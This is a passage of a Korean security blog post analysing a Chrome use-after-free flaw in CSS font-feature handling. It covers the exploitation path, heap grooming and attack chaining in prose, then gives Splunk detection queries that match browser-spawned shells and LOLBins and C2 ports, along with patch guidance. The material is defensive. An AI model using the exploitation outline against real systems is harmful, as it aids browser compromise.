&lt;p data-sourcepos=&quot;50:3-50:150;1690-1837&quot; data-ke-size=&quot;size16&quot;&gt;&quot;MyFont 폰트에서 a는 스타일 1번, b는 스타일 2번으로 표시해줘&quot; 라는 의미다. CSSFontFeatureValuesMap은 이 폰트 피처 값들을 저장하는 자료구조(일종의 사전)로, 브라우저가 이 CSS를 처리할 때 내부적으로 생성해서 메모리에 저장한다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote data-sourcepos=&quot;52:1-53:183;1839-2035&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;52:3-53:183;1841-2035&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이터레이터란?&lt;/b&gt; 자료구조를 순서대로 훑는 포인터다. CSSFontFeatureValuesMap = {a:1, b:2, c:3} 이 있을 때 이터레이터를 생성하면 &quot;첫 번째 항목(a:1)을 가리키는 포인터&quot;가 만들어지고, a&amp;rarr;b&amp;rarr;c 순서로 하나씩 읽어나간다. 이터레이터는 내부적으로 &quot;지금 메모리 어디를 보고 있는지&quot; 주소를 기억하고 있다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote data-sourcepos=&quot;55:1-56:221;2037-2277&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;55:3-56:221;2039-2277&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;리해시(rehash)란?&lt;/b&gt; HashMap은 데이터를 빠르게 찾기 위해 버킷이라는 공간에 분산해서 저장한다. 버킷이 너무 차면 더 큰 공간으로 이사하면서 데이터를 재배치하는데 이게 리해시다. 리해시가 일어나면 원래 있던 메모리 공간은 해제되고 데이터는 새 공간으로 이동한다. 문제는 이터레이터가 원래 공간 주소를 기억하고 있다는 것이다. 리해시 후 원래 공간은 해제됐는데 이터레이터는 해제된 주소를 계속 가리키게 된다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote data-sourcepos=&quot;58:1-59:168;2279-2462&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;58:3-59:168;2281-2462&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;댕글링 포인터란?&lt;/b&gt; 포인터는 메모리 주소를 저장하는 변수다. 정상 상태에서는 포인터가 유효한 데이터를 가리키지만, 메모리가 해제됐는데 포인터가 여전히 그 주소를 가리키는 경우를 댕글링 포인터라고 한다. 친구 집 주소를 메모해뒀는데 친구가 이사를 가버린 상황과 같다. 그 주소로 찾아가면 전혀 다른 사람이 살고 있다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div data-sourcepos=&quot;61:1-83:4;2464-2919&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;gams&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;취약한 코드 흐름:
@font-feature-values CSS 규칙 처리
        &amp;darr;
CSSFontFeatureValuesMap 이터레이터 생성 (메모리 할당)
        &amp;darr;
이터레이터 순회 중 set() 또는 delete()로 맵이 변경
        &amp;darr;
HashMap 리해시 &amp;rarr; 원본 메모리 해제
        &amp;darr;
이터레이터는 해제된 주소(댕글링 포인터) 계속 사용
        &amp;darr;
Use-After-Free &amp;rarr; 힙 메모리 손상
        &amp;darr;
공격자가 재할당된 메모리에 악성 데이터 심기
        &amp;darr;
Chrome 샌드박스 안에서 임의 코드 실행

패치 내용 (커밋 63f3cb4864c6):
이터레이터의 raw pointer를
deep copy (const FontFeatureAliases aliases_)로 교체
&amp;rarr; 원본 메모리가 해제돼도 복사본을 사용하므로 UAF 불가&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-sourcepos=&quot;87:1-87:35;2926-2960&quot; data-ke-size=&quot;size23&quot;&gt;공격자가 어떻게 코드 실행으로 연결하는가 (힙 그루밍)&lt;/h3&gt;
&lt;p data-sourcepos=&quot;89:1-89:65;2962-3026&quot; data-ke-size=&quot;size16&quot;&gt;메모리가 해제되면 바로 사라지는 게 아니라 &quot;재사용 가능한 공간&quot;으로 표시만 된다. 공격자는 이 타이밍을 이용한다.&lt;/p&gt;
&lt;div data-sourcepos=&quot;91:1-107:4;3028-3307&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;힙 그루밍 과정:

1. 공격자가 같은 크기의 객체를 일부러 많이 생성
   &amp;rarr; 해제될 메모리 자리를 공격자 객체가 차지하도록 준비

2. CSSFontFeatureValuesMap 메모리 해제
   &amp;rarr; 해제된 자리에 공격자가 준비한 객체가 들어옴

3. 댕글링 포인터가 그 자리를 읽으면
   &amp;rarr; 공격자 데이터를 정상 데이터인 것처럼 처리

비유:
이사 간 친구 집에 내가 먼저 이사 들어감
그 집 주소를 아직 가진 사람이 찾아오면
나를 친구로 착각함 &amp;rarr; 내가 원하는 대로 조작 가능&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;109:1-109:77;3309-3385&quot; data-ke-size=&quot;size16&quot;&gt;이 과정을 통해 공격자는 함수 포인터를 자신의 악성 코드 주소로 덮어씌워 Chrome 렌더러 프로세스 안에서 임의 코드를 실행하게 된다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-sourcepos=&quot;113:1-113:27;3392-3418&quot; data-ke-size=&quot;size23&quot;&gt;실제 공격 방식 (드라이브바이 다운로드)&lt;/h3&gt;
&lt;p data-sourcepos=&quot;115:1-115:124;3420-3543&quot; data-ke-size=&quot;size16&quot;&gt;악성 웹페이지에 조작된 CSS 규칙이 포함되어 있으면, 스타일 재계산 또는 렌더링 과정에서 취약점이 트리거된다. 브라우저 렌더링 프로세스 안에 결함이 있기 때문에 웹페이지 방문 외에 추가적인 사용자 상호작용이 필요 없다.&lt;/p&gt;
&lt;p data-sourcepos=&quot;117:1-117:31;3545-3575&quot; data-ke-size=&quot;size16&quot;&gt;공격자가 이 취약점을 활용하는 방식은 크게 세 가지다.&lt;/p&gt;
&lt;div data-sourcepos=&quot;119:1-123:32;3577-3721&quot;&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt; 방식 &lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt; 설명 &lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;멀버타이징&lt;/td&gt;
&lt;td&gt;정상 광고 네트워크를 통해 악성 광고 삽입, 광고 렌더링만으로 트리거&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;워터링홀&lt;/td&gt;
&lt;td&gt;타겟이 자주 방문하는 사이트를 미리 침해해두고 대기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;스피어피싱&lt;/td&gt;
&lt;td&gt;이메일이나 메신저로 악성 링크 전달&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-sourcepos=&quot;127:1-127:13;3728-3740&quot; data-ke-size=&quot;size23&quot;&gt;익스플로잇 체인&lt;/h3&gt;
&lt;p data-sourcepos=&quot;129:1-129:71;3742-3812&quot; data-ke-size=&quot;size16&quot;&gt;샌드박스 안에서의 코드 실행이 끝이 아니다. 공격자는 이 취약점을 시작으로 다음 단계로 이어지는 공격 체인을 구성할 수 있다.&lt;/p&gt;
&lt;div data-sourcepos=&quot;131:1-142:4;3814-3987&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;gcode&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;CVE-2026-2441 (Chrome 샌드박스 RCE)
        &amp;darr;
Mojo IPC 익스플로잇 (샌드박스 탈출)
        &amp;darr;
브라우저 프로세스 RCE
        &amp;darr;
커널 익스플로잇 (권한 상승)
        &amp;darr;
완전한 시스템 장악
&amp;rarr; 악성코드 설치, 자격증명 탈취, 내부망 이동&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;blockquote data-sourcepos=&quot;144:1-147:40;3989-4159&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;144:3-147:40;3991-4159&quot; data-ke-size=&quot;size16&quot;&gt;비슷한 브라우저 UAF를 활용한 실제 공격 사례: NSO Pegasus &amp;mdash; WebKit UAF + 샌드박스 탈출 + 커널 익스플로잇 Intellexa Predator &amp;mdash; Chrome UAF + Android 커널 익스플로잇 APT28 &amp;mdash; Chrome 0-day + Windows LPE 체인&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;151:1-151:29;4166-4194&quot; data-ke-size=&quot;size26&quot;&gt;4. 어디서 흔적이 남는가 (로그 소스 매핑)&lt;/h2&gt;
&lt;p data-sourcepos=&quot;153:1-153:66;4196-4261&quot; data-ke-size=&quot;size16&quot;&gt;브라우저 취약점은 클라이언트 사이드에서 발생하기 때문에 서버 레벨 로그보다는 &lt;b&gt;엔드포인트 레벨 탐지&lt;/b&gt;가 핵심이다.&lt;/p&gt;
&lt;div data-sourcepos=&quot;155:1-161:48;4263-4532&quot;&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt; 로그 소스 &lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt; 탐지 가능한 흔적 &lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EDR / Sysmon&lt;/td&gt;
&lt;td&gt;Chrome 렌더러 프로세스에서 비정상 자식 프로세스 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;프록시/웹 필터 로그&lt;/td&gt;
&lt;td&gt;악성 도메인 접근, 비정상 Content-Type 응답&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;윈도우 이벤트 로그&lt;/td&gt;
&lt;td&gt;Chrome 프로세스 크래시 (이벤트 ID 1000, 1001)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;네트워크 로그&lt;/td&gt;
&lt;td&gt;샌드박스 탈출 후 C2 아웃바운드 연결&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;브라우저 크래시 리포트&lt;/td&gt;
&lt;td&gt;Chrome &quot;Aw, Snap!&quot; 페이지 반복 발생&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;blockquote data-sourcepos=&quot;163:1-164:156;4534-4709&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;163:3-164:156;4536-4709&quot; data-ke-size=&quot;size16&quot;&gt;⚠️&lt;b&gt; 탐지의 핵심&lt;/b&gt; &lt;b&gt;어려움&lt;/b&gt; 취약점이 브라우저 렌더러 프로세스 메모리 안에서 발생하기 때문에 네트워크 레벨에서는 직접 탐지가 불가능하다. 공격 트래픽이 일반 HTTPS처럼 보이기 때문에 패킷 분석으로도 구분하기 어렵다. 샌드박스 탈출 이후 발생하는 프로세스 행위 패턴을 탐지하는 것이 현실적인 접근이다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;168:1-168:16;4716-4731&quot; data-ke-size=&quot;size26&quot;&gt;5. SPL 탐지 쿼리&lt;/h2&gt;
&lt;h3 data-sourcepos=&quot;170:1-170:40;4733-4772&quot; data-ke-size=&quot;size23&quot;&gt;기본형: Chrome 렌더러에서 비정상 자식 프로세스 생성 탐지&lt;/h3&gt;
&lt;div data-sourcepos=&quot;172:1-183:4;4774-5254&quot;&gt;
&lt;div&gt;spl&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;gherkin&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;index=sysmon OR index=wineventlog
| where EventCode IN (1, 4688)
| eval suspicious=if(
    match(parent_process, &quot;(chrome\.exe|msedge\.exe|brave\.exe|opera\.exe)&quot;) AND
    match(process_name, &quot;(cmd\.exe|powershell|wscript|mshta|rundll32|certutil|bitsadmin)&quot;),
    1, 0)
| where suspicious=1
| stats count as spawn_count by src_host, parent_process, process_name, command_line
| sort -spawn_count
| table src_host, parent_process, process_name, command_line, spawn_count&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;185:1-185:11;5256-5266&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;쿼리 설명:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;186:1-188:35;5267-5442&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;186:1-186:99;5267-5365&quot;&gt;Chrome, Edge, Brave 같은 Chromium 기반 브라우저 프로세스에서 cmd, powershell 같은 의심 프로세스가 직접 자식으로 생성되는 패턴을 탐지한다&lt;/li&gt;
&lt;li data-sourcepos=&quot;187:1-187:42;5366-5407&quot;&gt;정상적인 브라우저 사용에서는 이런 프로세스 생성이 거의 발생하지 않는다&lt;/li&gt;
&lt;li data-sourcepos=&quot;188:1-188:35;5408-5442&quot;&gt;샌드박스 탈출 후 공격자가 시스템에서 명령을 실행하는 패턴&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote data-sourcepos=&quot;190:1-190:120;5444-5563&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;190:3-190:120;5446-5563&quot; data-ke-size=&quot;size16&quot;&gt;⚠️&lt;b&gt; 인덱스명&lt;/b&gt;: sysmon, wineventlog는 예시다. 실제 환경의 인덱스명으로 변경 후 사용할 것. Sysmon이 설치되어 있어야 command_line 필드까지 확인 가능하다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-sourcepos=&quot;194:1-194:47;5570-5616&quot; data-ke-size=&quot;size23&quot;&gt;개선형: Chrome 크래시 반복 + 이후 비정상 아웃바운드 연결 연계 탐지&lt;/h3&gt;
&lt;div data-sourcepos=&quot;196:1-210:4;5618-6222&quot;&gt;
&lt;div&gt;spl&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;coq&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;index=wineventlog
| where EventCode IN (1000, 1001) AND match(param1, &quot;(chrome|msedge|brave)&quot;)
| stats count as crash_count by src_host, _time span=10m
| where crash_count &amp;gt;= 3
| join type=left src_host
    [search index=firewall_logs OR index=proxy_logs
     | where direction=&quot;outbound&quot;
     | where NOT match(dest_domain, &quot;(google|microsoft|chromium|brave)\.com$&quot;)
     | eval suspicious_port=if(dest_port IN (4444, 8080, 9001, 1080, 31337), 1, 0)
     | where suspicious_port=1
     | stats count as c2_count by src_host]
| where isnotnull(c2_count)
| table src_host, crash_count, c2_count&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;212:1-212:11;6224-6234&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;쿼리 설명:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;213:1-215:64;6235-6421&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;213:1-213:44;6235-6278&quot;&gt;EventCode 1000/1001은 윈도우 응용 프로그램 크래시 이벤트다&lt;/li&gt;
&lt;li data-sourcepos=&quot;214:1-214:79;6279-6357&quot;&gt;PoC 실행 시 브라우저 탭이 크래시(&quot;Aw, Snap!&quot; 페이지)되므로 짧은 시간 안에 크래시가 반복되면 익스플로잇 시도로 볼 수 있다&lt;/li&gt;
&lt;li data-sourcepos=&quot;215:1-215:64;6358-6421&quot;&gt;join으로 크래시 반복 + 비표준 포트 아웃바운드 연결을 연계해 샌드박스 탈출 후 C2 통신 패턴을 포착&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-sourcepos=&quot;219:1-219:27;6428-6454&quot; data-ke-size=&quot;size23&quot;&gt;취약한 Chrome 버전 보유 자산 탐지&lt;/h3&gt;
&lt;div data-sourcepos=&quot;221:1-233:4;6456-6991&quot;&gt;
&lt;div&gt;spl&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;vim&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;index=endpoint_inventory OR index=software_inventory
| search product=&quot;Google Chrome&quot; OR product=&quot;Microsoft Edge&quot; OR product=&quot;Brave&quot;
| eval vulnerable=if(
    (match(product, &quot;Google Chrome&quot;) AND version &amp;lt; &quot;145.0.7632.75&quot;) OR
    (match(product, &quot;Microsoft Edge&quot;) AND version &amp;lt; &quot;145.0.3800.58&quot;) OR
    (match(product, &quot;Brave&quot;) AND version &amp;lt; &quot;1.76.0&quot;),
    1, 0)
| where vulnerable=1
| stats count as vulnerable_count by hostname, product, version
| sort -vulnerable_count
| table hostname, product, version, vulnerable_count&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;235:1-235:11;6993-7003&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;쿼리 설명:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;236:1-238:39;7004-7109&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;236:1-236:44;7004-7047&quot;&gt;취약한 버전의 Chrome/Edge/Brave가 설치된 자산을 한눈에 파악&lt;/li&gt;
&lt;li data-sourcepos=&quot;237:1-237:23;7048-7070&quot;&gt;패치 적용 우선순위 결정에 활용 가능&lt;/li&gt;
&lt;li data-sourcepos=&quot;238:1-238:39;7071-7109&quot;&gt;자산 인벤토리 데이터가 Splunk로 수집되는 환경에서 사용 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;242:1-242:16;7116-7131&quot; data-ke-size=&quot;size26&quot;&gt;6. 오탐지 줄이는 팁&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;244:1-246:84;7133-7411&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;244:1-244:92;7133-7224&quot;&gt;&lt;b&gt;브라우저 자동 업데이트&lt;/b&gt;: Chrome은 업데이트 후 재시작 전까지 구버전이 실행된다. 버전 탐지 쿼리에서 재시작 여부도 함께 확인하는 것이 정확도를 높임&lt;/li&gt;
&lt;li data-sourcepos=&quot;245:1-245:103;7225-7327&quot;&gt;&lt;b&gt;크래시 반복 기준&lt;/b&gt;: 브라우저 크래시는 메모리 부족, 플러그인 오류 등 정상적인 원인으로도 발생한다. 크래시 단독으로는 오탐이 많으므로 반드시 아웃바운드 연결과 연계해서 판단&lt;/li&gt;
&lt;li data-sourcepos=&quot;246:1-246:84;7328-7411&quot;&gt;&lt;b&gt;자식 프로세스&lt;/b&gt;: 일부 브라우저 확장 프로그램이나 PDF 뷰어가 외부 프로세스를 실행할 수 있다. 알려진 정상 프로세스는 화이트리스트로 제외&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;250:1-250:20;7418-7437&quot; data-ke-size=&quot;size26&quot;&gt;7. 임시 대응 / 패치 정보&lt;/h2&gt;
&lt;p data-sourcepos=&quot;252:1-252:11;7439-7449&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;패치 버전:&lt;/b&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;254:1-259:60;7451-7714&quot;&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt; 브라우저 &lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt; 패치 버전 &lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt; 배포일 &lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Chrome (Windows/macOS)&lt;/td&gt;
&lt;td&gt;145.0.7632.75 이상&lt;/td&gt;
&lt;td&gt;2026년 2월 13일&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Chrome (Linux)&lt;/td&gt;
&lt;td&gt;144.0.7559.75 이상&lt;/td&gt;
&lt;td&gt;2026년 2월 13일&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft Edge&lt;/td&gt;
&lt;td&gt;145.0.3800.58 이상&lt;/td&gt;
&lt;td&gt;2026년 2월 14일&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Edge Extended Stable&lt;/td&gt;
&lt;td&gt;144.0.3719.130 이상&lt;/td&gt;
&lt;td&gt;2026년 2월 17일&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;261:1-261:14;7716-7729&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-sourcepos=&quot;261:1-261:14;7716-7729&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;버전 확인 방법:&lt;/b&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;262:1-265:4;7730-7785&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;groovy&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;Chrome: chrome://version
Edge:   edge://version&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;267:1-267:21;7787-7807&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-sourcepos=&quot;267:1-267:21;7787-7807&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;즉시 적용 가능한 완화 조치:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-sourcepos=&quot;269:1-272:46;7809-8066&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-sourcepos=&quot;269:1-269:54;7809-7862&quot;&gt;&lt;b&gt;브라우저 즉시 업데이트 및 재시작&lt;/b&gt; (업데이트만으로는 부족, 반드시 재시작해야 적용)&lt;/li&gt;
&lt;li data-sourcepos=&quot;270:1-270:81;7863-7943&quot;&gt;&lt;b&gt;헤드리스 Chrome 배포 환경 우선 점검&lt;/b&gt; - CI/CD 파이프라인, PDF 생성 서버, 웹 스크래핑 서버 등 비대화형 환경도 취약&lt;/li&gt;
&lt;li data-sourcepos=&quot;271:1-271:77;7944-8020&quot;&gt;&lt;b&gt;엔터프라이즈 환경&lt;/b&gt;: Google Admin Console 또는 Microsoft Intune으로 버전 컴플라이언스 강제 적용&lt;/li&gt;
&lt;li data-sourcepos=&quot;272:1-272:46;8021-8066&quot;&gt;&lt;b&gt;웹 필터&lt;/b&gt;: 알려진 악성 도메인 및 비정상 Content-Type 차단&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote data-sourcepos=&quot;274:1-274:167;8068-8234&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;274:3-274:167;8070-8234&quot; data-ke-size=&quot;size16&quot;&gt;⚠️ 이 취약점은 클라우드 환경에서도 특히 위험하다. 헤드리스 Chrome이 PDF 생성, 웹 미리보기 등 비대화형 용도로 컨테이너나 CI/CD 파이프라인에 임베드된 경우, 악성 콘텐츠를 렌더링하는 것만으로 취약점이 트리거된다. 일반 엔드포인트 패치보다 이쪽이 더 빠르게 우선 대응이 필요하다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;278:1-278:16;8241-8256&quot; data-ke-size=&quot;size26&quot;&gt;8. 마무리 / 한계점&lt;/h2&gt;
&lt;p data-sourcepos=&quot;280:1-280:18;8258-8275&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이 SPL 쿼리의 한계:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;281:1-283:54;8276-8432&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;281:1-281:59;8276-8334&quot;&gt;취약점이 브라우저 메모리 안에서 발생해 직접 탐지가 불가능하고, 샌드박스 탈출 이후 행위만 탐지 가능&lt;/li&gt;
&lt;li data-sourcepos=&quot;282:1-282:44;8335-8378&quot;&gt;Sysmon이 설치되지 않은 환경에서는 프로세스 생성 상세 정보 확인 불가&lt;/li&gt;
&lt;li data-sourcepos=&quot;283:1-283:54;8379-8432&quot;&gt;공격자가 정상 포트(443 등)로 C2 통신을 위장하면 아웃바운드 연결 기반 탐지 우회 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-sourcepos=&quot;285:1-285:194;8434-8627&quot; data-ke-size=&quot;size16&quot;&gt;&quot;CSS는 그냥 화면을 예쁘게 만드는 것&quot; 이라는 인식이 이번 취약점으로 완전히 깨졌다. 선언형 언어도 충분히 공격 벡터가 될 수 있고, 특히 C++로 구현된 파서는 메모리 안전성이 보장되지 않는다. 브라우저처럼 매일 사용하고 신뢰하는 소프트웨어 안에 이런 취약점이 존재한다는 점에서 패치 속도와 버전 관리의 중요성을 다시 한번 확인할 수 있다.&lt;/p&gt;
&lt;p data-sourcepos=&quot;287:1-287:46;8629-8674&quot; data-ke-size=&quot;size16&quot;&gt;더 나은 탐지 방법이나 실제 운영 환경에서의 개선점이 있다면 댓글로 공유해주세요.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-sourcepos=&quot;291:1-291:17;8681-8697&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이 블로그의 관련 글:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;292:1-293:79;8698-8889&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;292:1-292:113;8698-8810&quot;&gt;Use-After-Free(CWE-416)가 실제 적용된 또 다른 사례 &amp;rarr; &lt;a href=&quot;https://y0-0ns.tistory.com/25&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CVE-2026-53359: Linux KVM Use-After-Free 취약점 분석&lt;/a&gt;&amp;nbsp;&lt;/li&gt;
&lt;li data-sourcepos=&quot;293:1-293:79;8811-8889&quot;&gt;UAF의 개념적 기반이 되는 취약점 유형 정리 &amp;rarr; &lt;a href=&quot;https://y0-0ns.tistory.com/22&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CWE-121/122: 버퍼 오버플로우 완전 정리&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-sourcepos=&quot;297:1-297:11;8896-8906&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;참고 자료:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;298:1-302:72;8907-9369&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;298:1-298:114;8907-9020&quot;&gt;&lt;a href=&quot;https://chromereleases.googleblog.com/2026/02/stable-channel-update-for-desktop.html&quot;&gt;Google Chrome 공식 릴리즈 노트&lt;/a&gt;&lt;/li&gt;
&lt;li data-sourcepos=&quot;299:1-299:131;9021-9151&quot;&gt;&lt;a href=&quot;https://www.secpod.com/blog/google-addresses-actively-exploited-chrome-vulnerability-cve-2026-2441/&quot;&gt;SecPod - CVE-2026-2441 분석&lt;/a&gt;&lt;/li&gt;
&lt;li data-sourcepos=&quot;300:1-300:67;9152-9218&quot;&gt;&lt;a href=&quot;https://www.exploit-db.com/exploits/52542&quot;&gt;Exploit-DB - PoC 코드&lt;/a&gt;&lt;/li&gt;
&lt;li data-sourcepos=&quot;301:1-301:79;9219-9297&quot;&gt;&lt;a href=&quot;https://socprime.com/blog/cve-2026-14174-vulnerability/&quot;&gt;SOC Prime - 탐지 전략&lt;/a&gt;&lt;/li&gt;
&lt;li data-sourcepos=&quot;302:1-302:72;9298-9369&quot;&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-2441&quot;&gt;NVD - CVE-2026-2441&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>취약점 분석/CVE</category>
      <category>blink</category>
      <category>Chrome</category>
      <category>chromium</category>
      <category>CSS</category>
      <category>CVE-2026-2441</category>
      <category>Splunk</category>
      <category>UAF</category>
      <category>UseAfterFree</category>
      <category>브라우저취약점</category>
      <category>제로데이</category>
      <author>y0.0ns</author>
      <guid isPermaLink="true">https://y0-0ns.tistory.com/27</guid>
